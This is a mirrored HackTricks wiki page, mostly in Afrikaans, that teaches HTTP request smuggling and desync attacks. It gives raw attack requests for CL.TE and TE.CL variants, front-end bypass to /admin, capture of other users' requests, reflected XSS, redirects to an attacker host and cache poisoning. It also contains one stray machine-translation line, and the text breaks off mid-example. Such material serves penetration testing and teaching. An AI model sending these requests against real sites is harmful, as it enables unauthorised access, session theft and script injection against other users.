maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity
hacktricks/src/pentesting-web/http-request-smuggling/README.md

46 KiB
Raw Blame History

HTTP Request Smuggling / HTTP Desync Attack

{{#include ../../banners/hacktricks-training.md}}

Wat is

Hierdie kwesbaarheid ontstaan wanneer 'n desynchronisasie tussen front-end proxies en die back-end server 'n attacker toelaat om 'n HTTP request te send wat deur die front-end proxies (load balance/reverse-proxy) as 'n single request geïnterpreteer word en deur die back-end server as 2 requests.
Dit laat 'n gebruiker toe om die volgende request wat ná sy eie by die back-end server aankom, te wysig.

Teorie

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

Die Content-Length entity header dui die grootte van die entity-body, in bytes, wat aan die ontvanger gestuur word, aan.

Transfer-Encoding: chunked

Die Transfer-Encoding header spesifiseer die vorm van encoding wat gebruik word om die payload body veilig na die gebruiker oor te dra.
Chunked beteken dat groot data in 'n reeks chunks gestuur word.

Realiteit

Die Front-End (n load-balance / Reverse Proxy) verwerk die Content-Length of die Transfer-Encoding header en die Back-end server verwerk die ander, wat 'n desynchronisasie tussen die twee stelsels veroorsaak.
Dit kan baie kritiek wees aangesien 'n attacker in staat sal wees om een request na die reverse proxy te stuur wat deur die back-end server as twee verskillende requests geïnterpreteer sal word. Die gevaar van hierdie tegniek lê daarin dat die back-end server die ingespuite 2de request asof dit van die volgende kliënt af kom sal interpreteer, en die werklike request van daardie kliënt deel van die ingespuite request sal wees.

Besonderhede

Onthou dat in HTTP 'n newline-karakter uit 2 bytes bestaan:

  • Content-Length: Hierdie header gebruik 'n desimale getal om die aantal bytes van die body van die request aan te dui. Die body word verwag om in die laaste karakter te eindig; 'n nuwe reël is nie nodig aan die einde van die request nie.
  • Transfer-Encoding: Hierdie header gebruik in die body 'n heksadesimale getal om die aantal bytes van die volgende chunk aan te dui. Die chunk moet eindig met 'n newline, maar hierdie newline word nie deur die lengte-aanwyser meegerek nie. Hierdie oordragmetode moet eindig met 'n chunk van grootte 0 gevolg deur 2 newlines: 0
  • Connection: Gegrond op my ervaring is dit aanbeveel om Connection: keep-alive te gebruik op die eerste request van die request Smuggling.

Visible - Hidden

Die hoofprobleem met HTTP/1.1 is dat al die requests oor dieselfde TCP-sok gestuur word, so as daar 'n verskil gevind word in hoe twee stelsels requests ontvang, is dit moontlik om een request te stuur wat deur die finale backend (of selfs intermediêre stelsels) as twee (of meer) verskillende requests beskou word.

This blog post stel nuwe maniere voor om desync-aanvalle te ontdek wat nie deur WAFs gevlag sal word nie. Hiervoor verduidelik dit die Visible vs Hidden gedrag. Die doel is om te probeer om diskrepansies in die response te vind met tegnieke wat moontlik desyncs veroorsaak sonder om werklik iets te eksploit.

Byvoorbeeld, as jy 'n request stuur met die normale Host-header en nog 'n " host" header, en die backend kla oor hierdie request (miskien omdat die waarde van " host" verkeerd is), beteken dit moontlik dat die front-end nie die " host" header gesien het nie terwyl die finale backend dit wel gebruik het — dit wys 'n desync tussen front-end en backend.

Dit sou 'n Hidden-Visible discrepancy wees.

As die front-end egter die " host" header in ag geneem het maar die backend nie, sou dit 'n Visible-Hidden situasie wees.

Byvoorbeeld, dit het gehelp om desyncs te ontdek tussen AWS ALB as front-end en IIS as die backend. Toe "Host: foo/bar" gestuur is, het die ALB 400, Server; awselb/2.0 teruggestuur, maar toe "Host : foo/bar" gestuur is, het dit 400, Server: Microsoft-HTTPAPI/2.0 teruggestuur, wat aandui dat die backend die response stuur. Dit is 'n Hidden-Visible (H-V) situasie.

Let wel dat hierdie situasie nie deur AWS reggestel is nie, maar dit kan voorkom word deur routing.http.drop_invalid_header_fields.enabled te stel en routing.http.desync_mitigation_mode = strictest.

Basiese Voorbeelde

Tip

Wanneer jy probeer om dit met Burp Suite te eksploit, deaktiveer asseblief Update Content-Length en Normalize HTTP/1 line endings in die repeater omdat sommige gadgets newlines, carriage returns en gemalformeerde content-lengths misbruik.

HTTP request smuggling-aanvalle word vervaardig deur ambigue requests te stuur wat die diskrepansies uitbuit in hoe front-end en back-end servers die Content-Length (CL) en Transfer-Encoding (TE) headers interpreteer. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end servers hierdie headers prioritiseer. Die kwesbaarhede ontstaan omdat die servers dieselfde request verskillend verwerk, wat tot onvoorsiene en moontlik kwaadwillige uitkomste kan lei.

Basiese Voorbeelde van Kwesbaarheidstipes

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

By die vorige tabel moet jy die TE.0 tegniek byvoeg, soortgelyk aan die CL.0 tegniek maar gebruik Transfer-Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Verwerk die request gebaseer op die Content-Length header.

  • Back-End (TE): Verwerk die request gebaseer op die Transfer-Encoding header.

  • Attack Scenario:

  • Die attacker stuur 'n request waar die waarde van die Content-Length header nie met die werklike inhouds-lengte ooreenstem nie.

  • Die front-end server stuur die hele request na die back-end op grond van die Content-Length waarde.

  • Die back-end server verwerk die request as chunked weens die Transfer-Encoding: chunked header en interpreteer die oorblywende data as 'n aparte, daaropvolgende request.

  • Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Verwerk die request gebaseer op die Transfer-Encoding header.

  • Back-End (CL): Verwerk die request gebaseer op die Content-Length header.

  • Attack Scenario:

  • Die attacker stuur 'n chunked request waar die chunk-grootte (7b) en die werklike content length (Content-Length: 4) nie ooreenstem nie.

  • Die front-end server, wat Transfer-Encoding eerbiedig, stuur die hele request na die back-end.

  • Die back-end server, wat net Content-Length respekteer, verwerk slegs die aanvanklike deel van die request (7b bytes), en laat die res deel word van 'n onbedoelde daaropvolgende request.

  • Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Albei ondersteun Transfer-Encoding, maar een kan mislei word om dit te ignoreer deur obfuskasie.

  • Attack Scenario:

  • Die attacker stuur 'n request met obfuskteerde Transfer-Encoding headers.

  • Afhangende van watter server (front-end of back-end) die obfuskasie nie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.

  • Die onverwerkte deel van die request, soos gesien deur een van die servers, word deel van 'n daaropvolgende request, wat tot smuggling lei.

  • Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Albei servers verwerk die request uitsluitlik gebaseer op die Content-Length header.
  • Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar belyning is in hoe beide servers die lengte van die request interpreteer.
  • Voorbeeld:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Verwys na scenarios waar die Content-Length header teenwoordig is en 'n waarde anders as nul het, wat aandui dat die request body inhoud het. Die back-end ignoreer die Content-Length header (wat as 0 behandel word), maar die front-end parse dit.
  • Dit is belangrik vir die begrip en vervaardiging van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van 'n request bepaal.
  • Voorbeeld:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Soortgelyk aan die vorige, maar gebruik TE.
  • Tegniek reported here
  • Voorbeeld:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Situasie

In 'n 0.CL situasie word 'n versoek gestuur met 'n Content-Length soos:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

En die front-end neem nie die Content-Length in ag nie, so dit stuur slegs die eerste request na die backend (tot die 7 in die voorbeeld). Die backend sien egter die Content-Length en wag vir 'n body wat nooit aankom nie, omdat die front-end reeds op die response wag.

As daar egter 'n request is wat moontlik na die backend gestuur kan word en waarop geantwoord word voordat die body van die request ontvang is, sal hierdie deadlock nie voorkom nie. In IIS gebeur dit byvoorbeeld wanneer versoeke na verbode name soos /con gestuur word (kyk na die documentation), op hierdie manier sal die aanvanklike request direk beantwoord word en die tweede request sal die request van die victim bevat soos:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Dit is nuttig om 'n desync te veroorsaak, maar dit het tot nou toe geen uitwerking gehad nie.

Die pos bied egter 'n oplossing hiervoor deur 'n 0.CL attack into a CL.0 with a double desync om te skakel.

Breek die webbediener

Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n webbediener te laat breek terwyl die aanvanklike HTTP-data gelees word, maar sonder om die verbinding te sluit. Op hierdie manier sal die body van die HTTP request as die next HTTP request beskou word.

Byvoorbeeld, soos uitgewerk in this writeup, in Werkzeug was dit moontlik om sekere Unicode-karakters te stuur wat die bediener laat break. As die HTTP-verbinding egter geskep is met die header Connection: keep-alive, sal die body van die request nie gelees word nie en sal die verbinding steeds oop bly, sodat die body van die request as die next HTTP request behandel sal word.

Forsering via hop-by-hop headers

Deur hop-by-hop headers te misbruik kan jy die proxy aanwys om die header Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP request smuggling misbruik moontlik is.

Connection: Content-Length

For meer inligting oor hop-by-hop headers besoek:

{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}

Opsporing van HTTP Request Smuggling

Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bewerkstellig word met timing-tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes bestaan daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede op te spoor:

Opsporing van CL.TE-kwesbaarhede met timing-tegnieke

  • Metode:

  • Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end-bediener sal dwing om op addisionele data te wag.

  • Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Waarneming:

  • Die front-end-bediener verwerk die versoek gebaseer op Content-Length en sny die boodskap te vroeg af.

  • Die back-end-bediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.

  • Indikators:

  • Timeouts of lang vertraginge in die reaksie.

  • Ontvangs van 'n 400 Bad Request fout vanaf die back-end-bediener, soms met gedetailleerde bedienerinligting.

Opsporing van TE.CL-kwesbaarhede met timing-tegnieke

  • Metode:

  • Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end-bediener sal dwing om op addisionele data te wag.

  • Voorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Waarneming:
  • Die front-end-bediener verwerk die versoek gebaseer op Transfer-Encoding en stuur die volledige boodskap deur.
  • Die back-end-bediener, wat 'n boodskap gebaseer op Content-Length verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.

Ander metodes om kwesbaarhede op te spoor

  • Differential Response Analysis:
  • Stuur liggies verskillende weergawes van 'n versoek en let of die bedienerreaksies op 'n ongewone wyse verskil, wat 'n parsingsverskil aandui.
  • Gebruik van outomatiese gereedskap:
  • Gereedskap soos Burp Suite se 'HTTP Request Smuggler' extension kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van dubbelbetydige versoeke te stuur en die reaksies te analiseer.
  • Content-Length Variansetoetse:
  • Stuur versoeke met wisselende Content-Length-waardes wat nie in lyn is met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanpassing hanteer.
  • Transfer-Encoding Variansetoetse:
  • Stuur versoeke met geobfusceerde of foutief gevormde Transfer-Encoding headers en monitor hoe die front-end en back-end bedieners verskillend op sulke manipulasies reageer.

The Expect: 100-continue header

Kyk hoe hierdie header kan help om 'n http desync uit te buit in:

{{#ref}} ../special-http-headers.md {{#endref}}

HTTP Request Smuggling Kwesbaarheidstoetsing

Nadat jy die doeltreffendheid van timing-tegnieke bevestig het, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te poison, byvoorbeeld om 'n versoek na / 'n 404 reaksie te laat lewer. Die CL.TE en TE.CL voorbeelde wat voorheen in Basic Examples bespreek is, demonstreer hoe om 'n kliënt se versoek te poison sodat dit 'n 404 reaksie uitlok, ondanks dat die kliënt probeer om 'n ander hulpbron te bereik.

Belangrike oorwegings

Wanneer jy toets vir request smuggling-kwesbaarhede deur met ander versoeke te inmeng, hou die volgende in gedagte:

  • Afsonderlike netwerkverbindings: Die "attack" en "normal" versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik val nie as bewys dat die kwesbaarheid bestaan nie.
  • Konsekwente URL en parameters: Mik om identiese URLs en parametername vir albei versoeke te gebruik. Moderne toepassings stuur versoeke dikwels na spesifieke back-end-bedieners gebaseer op URL en parameters. Om dit te laat ooreenstem verhoog die waarskynlikheid dat beide versoeke deur dieselfde bediener verwerk word, wat 'n voorvereiste is vir 'n suksesvolle attack.
  • Tyding en wedstrydtoestande: Die "normal" versoek, bedoel om inmenging vanaf die "attack" versoek te detecteer, kompeteer met ander gelyktydige toepassingsversoeke. Daarom, stuur die "normal" versoek onmiddellik na die "attack" versoek. Besige toepassings mag meervoudige pogings vereis vir 'n afdoende bevestiging van 'n kwesbaarheid.
  • Load balancing-uitdagings: Front-end bedieners wat as load balancers optree kan versoeke oor verskeie back-end-stelsels versprei. As die "attack" en "normal" versoeke op verskillende stelsels uitkom, sal die attack nie slaag nie. Hierdie aspek van load balancing mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
  • Onbedoelde gebruikersimpak: As jou attack per ongeluk die versoek van 'n ander gebruiker (nie die "normal" versoek wat jy vir detectie gestuur het nie) affekteer, dui dit daarop dat jou attack 'n ander toepassinggebruiker beïnvloed het. Voortgesette toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.

Onderskeiding tussen HTTP/1.1 pipelining-artefakte en werklike request smuggling

Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" veroorsaak in toetsgereedskap wat verskeie versoeke op dieselfde socket stuur. Leer om onskadelike kliëntkant-artefakte van werklike bedienerkant-desync te skei.

Waarom pipelining klassieke vals-positiewe veroorsaak

HTTP/1.1 hergebruik 'n enkele TCP/TLS-verbinding en koppel versoeke en reaksies op dieselfde stroom. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en staatmaak op reaksies in dieselfde volgorde. 'n Algemene vals-positief is om 'n foutief gevormde CL.0-styl payload twee keer op 'n enkele verbinding te stuur:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Stuur asseblief die inhoud van src/pentesting-web/http-request-smuggling/README.md wat jy vertaal wil hê.

HTTP/1.1 200 OK
Content-Type: text/html


HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

As die server die verkeerd gevormde Content_Length geïgnoreer het, is daar geen FE↔BE desync nie. Met hergebruik het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: geen. Jy het net jou kliënt van die bedienerframing af desinkroniseer.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus-toetse: pipelining of werklike desync?

  1. Skakel hergebruik af en toets weer
  • In Burp Intruder/Repeater, skakel HTTP/1 reuse af en vermy "Send group in sequence".
  • In Turbo Intruder, stel requestsPerConnection=1 en pipeline=False.
  • As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful teikens of client-side desync.
  1. HTTP/2 nested-response check
  • Stuur 'n HTTP/2 versoek. As die response body 'n volledige nested HTTP/1 response bevat, het jy 'n backend parsing/desync-bug bewys in plaas van 'n suiwer client-artefak.
  1. Partial-requests probe vir connection-locked front-ends
  • Sommige FEs hergebruik slegs die upstream BE-verbinding as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag te ontdek wat client-hergebruik weerspieël.
  • Sien PortSwigger "Browser‑Powered Desync Attacks" vir die connection-locked tegniek.
  1. Staat-probes
  • Kyk vir verskille tussen eerste- en daaropvolgende-versoeke op dieselfde TCP-verbinding (first-request routing/validation).
  • Burp "HTTP Request Smuggler" sluit 'n connection‑state probe in wat dit outomatiseer.
  1. Visualiseer die wire
  • Gebruik die Burp "HTTP Hacker" extension om concatenation en message framing direk te inspekteer terwyl jy met hergebruik en partial requests eksperimenteer.

Connection‑locked request smuggling (reuse-required)

Sommige front-ends hergebruik slegs die upstream verbinding wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar is voorwaardelik op kliënt-side hergebruik. Om te onderskei en impak te bewys:

  • Bewys die server-side fout
  • Gebruik die HTTP/2 nested-response check, of
  • Gebruik partial-requests om te wys dat die FE slegs upstream hergebruik wanneer die kliënt dit doen.
  • Toon werklike impak selfs as direkte cross-user socket misbruik geblokkeer is:
  • Cache poisoning: poison shared caches via die desync sodat responses ander gebruikers beïnvloed.
  • Internal header disclosure: reflekteer FE-ingesette headers (bv. auth/trust headers) en pivot na auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods verby die front-end.
  • Host-header abuse: kombineer met host routing quirks om na interne vhosts te pivot.
  • Operator werkvloei
  • Reproduceer met beheerde hergebruik (Turbo Intruder requestsPerConnection=2, of Burp Repeater tab group → "Send group in sequence (single connection)").
  • Ketting dan na cache/header-leak/control-bypass primitives en demonstreer cross-user of authorization impak.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

As jy browser-powered/client-side desync teiken, moet die kwaadwillige versoek deur 'n blaaier cross-origin gestuur kan word. Header obfuscation truuks sal nie werk nie. Fokus op primitives wat via navigation/fetch bereikbaar is, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream komponente responses reflekteer of cache.

Vir agtergrond en end-to-end werkvloei:

{{#ref}} browser-http-request-smuggling.md {{#endref}}

Tooling to help decide

Note

Behandel reuse-only effects as non-issues tensy jy server-side desync kan bewys en konkrete impak kan aanheg (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, ens.).

Misbruik van HTTP Request Smuggling

Omseiling van front-end sekuriteit via HTTP Request Smuggling

Soms dwing front-end proxies sekuriteitsmaatreëls af en ondersoek inkomende versoeke. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat onbevoegde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot /admin mag eksterne toegang verhoed word omdat die front-end proxy sulke pogings aktief blokkeer. Nietemin kan hierdie proxy versuim om ingebedde versoeke binne 'n smuggled HTTP-versoek te inspekteer, wat 'n oopbedreiging vir omseiling van hierdie beperkings skep.

Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek die teiken van die /admin pad wat tipies deur die front-end proxy beskerm word:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length-header aangewend vir die aanvanklike versoek, terwyl die daaropvolgende ingebedde versoek die Transfer-Encoding: chunked-header gebruik. Die front-end proxy verwerk die aanvanklike POST-versoek maar slaag nie daarin om die ingebedde GET /admin-versoek te inspekteer nie, wat onbevoegde toegang tot die /admin-pad toelaat.

TE.CL Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Andersom, in die TE.CL-aanval gebruik die aanvanklike POST-versoek Transfer-Encoding: chunked, en die daaropvolgende ingeslote versoek word verwerk op grond van die Content-Length-kop. Soortgelyk aan die CL.TE-aanval sien die front-end proxy die gesmokkelde GET /admin-versoek oor, wat onbedoeld toegang tot die beperkte /admin-pad verleen.

Ontbloot front-end versoek-herschrywing

Toepassings gebruik dikwels 'n front-end server om inkomende versoeke te wysig voordat hulle aan die back-end server gestuur word. 'n Tipiese wysiging behels die byvoeging van headers, soos X-Forwarded-For: <IP of the client>, om die kliënt se IP aan die back-end deur te gee. Om hierdie wysigings te verstaan kan krities wees, aangesien dit maniere kan blootlê om beskermings te omseil of verborge inligting of endpunte te ontdek.

Om te ondersoek hoe 'n proxy 'n versoek wysig, lokaliseer 'n POST-parameter wat die back-end in die respons terugstuur. Skep dan 'n versoek en gebruik hierdie parameter laaste, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word daaropvolgende request-komponente aangeheg na search=, wat die parameter is wat in die response weerspieël word. Hierdie refleksie sal die headers van die daaropvolgende request blootlê.

Dit is belangrik om die Content-Length header van die geneste request te belyn met die werklike lengte van die inhoud. Dit is raadsaam om met 'n klein waarde te begin en dit geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkapp, terwyl 'n te hoë waarde die request 'n fout kan laat gee.

Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwetsbaarheid, maar die request moet eindig met search=\r\n0. Ongeag die newline-karakters, sal die waardes by die search-parameter aangeheg word.

Hierdie metode dien hoofsaaklik om die request-wijzigings wat deur die front-end proxy gemaak word te verstaan, en voer in wese 'n selfgedrewe ondersoek uit.

Vaslegging van ander gebruikers se requests

Dit is moontlik om die requests van die volgende gebruiker vas te lê deur 'n spesifieke request as die waarde van 'n parameter tydens 'n POST-operasie aan te heg. Só kan dit bereik word:

Deur die volgende request as die waarde van 'n parameter aan te heg, kan jy die daaropvolgende client se request stoor:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die kommentaarparameter bedoel om die inhoud binne 'n plasing se kommentaargedeelte op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.

Hierdie tegniek het egter beperkings. In die algemeen kap dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-encoded form submissions is hierdie afskeider die & karakter. Dit beteken die vasgevangde inhoud van die slagoffer se versoek sal by die eerste & stop, wat selfs deel van die query string kan wees.

Dit is ook die moeite werd om te noem dat hierdie benadering ook werkbaar is met 'n TE.CL kwetsbaarheid. In sulke gevalle moet die versoek eindig met search=\r\n0. Ongeag reëlbreekkarakters, sal die waardes by die search parameter gevoeg word.

Gebruik van HTTP Request Smuggling om Reflected XSS te benut

HTTP Request Smuggling kan gebruik word om webbladsye wat vatbaar is vir Reflected XSS uit te buit, en bied beduidende voordele:

  • Interaksie met die teikengebruikers is nie nodig nie.
  • Laat die uitbuiting van XSS toe in dele van die versoek wat gewoonlik ontoeganklik is, soos HTTP request headers.

In gevalle waar 'n webwerf vatbaar is vir Reflected XSS deur die User-Agent header, toon die volgende payload hoe om hierdie kwetsbaarheid uit te buit:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Hierdie payload is gestruktureer om die kwesbaarheid uit te buit deur:

  1. Initiating a POST request, seemingly typical, with a Transfer-Encoding: chunked header to indicate the start of smuggling.
  2. Following with a 0, marking the end of the chunked message body.
  3. Then, a smuggled GET request is introduced, where the User-Agent header is injected with a script, <script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.

By manipulating the User-Agent through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.

HTTP/0.9

Caution

In case the user content is reflected in a response with a Content-type such as text/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!

Die weergawe HTTP/0.9 het HTTP/1.0 voorafgegaan en gebruik slegs GET-versoeke en reageer nie met headers nie — net die body.

In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type of text/html.

Uitbuiting van On-site Redirects met HTTP Request Smuggling

Toepassings herlei dikwels van een URL na 'n ander deur die hostname uit die Host header in die redirect URL te gebruik. Dit is algemeen by webservers soos Apache en IIS. Byvoorbeeld, om 'n folder te versoek sonder 'n trailing slash lei tot 'n redirect om die slash in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

Lei tot:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Al lyk dit onskuldig, kan hierdie gedrag gemanipuleer word deur HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie smuggled request kan veroorsaak dat die volgende verwerkte user request na ’n attacker-controlled website herlei word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Lei tot:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan die gebruiker moontlik kompromitteer deur kwaadwillige JavaScript as antwoord te bedien.

Exploiting Web Cache Poisoning via HTTP Request Smuggling

Web cache poisoning kan uitgevoer word as enige komponent van die front-end infrastructure caches content aanwesig is, gewoonlik om prestasie te verbeter. Deur die bediener se reaksie te manipuleer, is dit moontlik om poison the cache.

Voorheen het ons gesien hoe bedienerreaksies verander kan word om 'n 404-fout terug te gee (verwys na Basic Examples). Op 'n soortgelyke wyse is dit moontlik om die bediener te mislei om die inhoud van /index.html terug te stuur as reaksie op 'n versoek vir /static/include.js. Gevolglik word die inhoud van /static/include.js in die cache vervang deur dié van /index.html, wat /static/include.js ontoeganklik vir gebruikers maak en moontlik lei tot 'n Denial of Service (DoS).

Hierdie tegniek raak besonder gevaarlik as 'n Open Redirect vulnerability gevind word of as daar 'n on-site redirect to an open redirect is. Sulke kwesbaarhede kan uitgebuit word om die gecachte inhoud van /static/include.js te vervang met 'n skrip onder die aanvaller se beheer, wat effektief 'n wye-sporige Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde /static/include.js versoek, moontlik maak.

Below is an illustration of exploiting cache poisoning combined with an on-site redirect to open redirect. The objective is to alter the cache content of /static/include.js to serve JavaScript code controlled by the attacker:

POST / HTTP/1.1
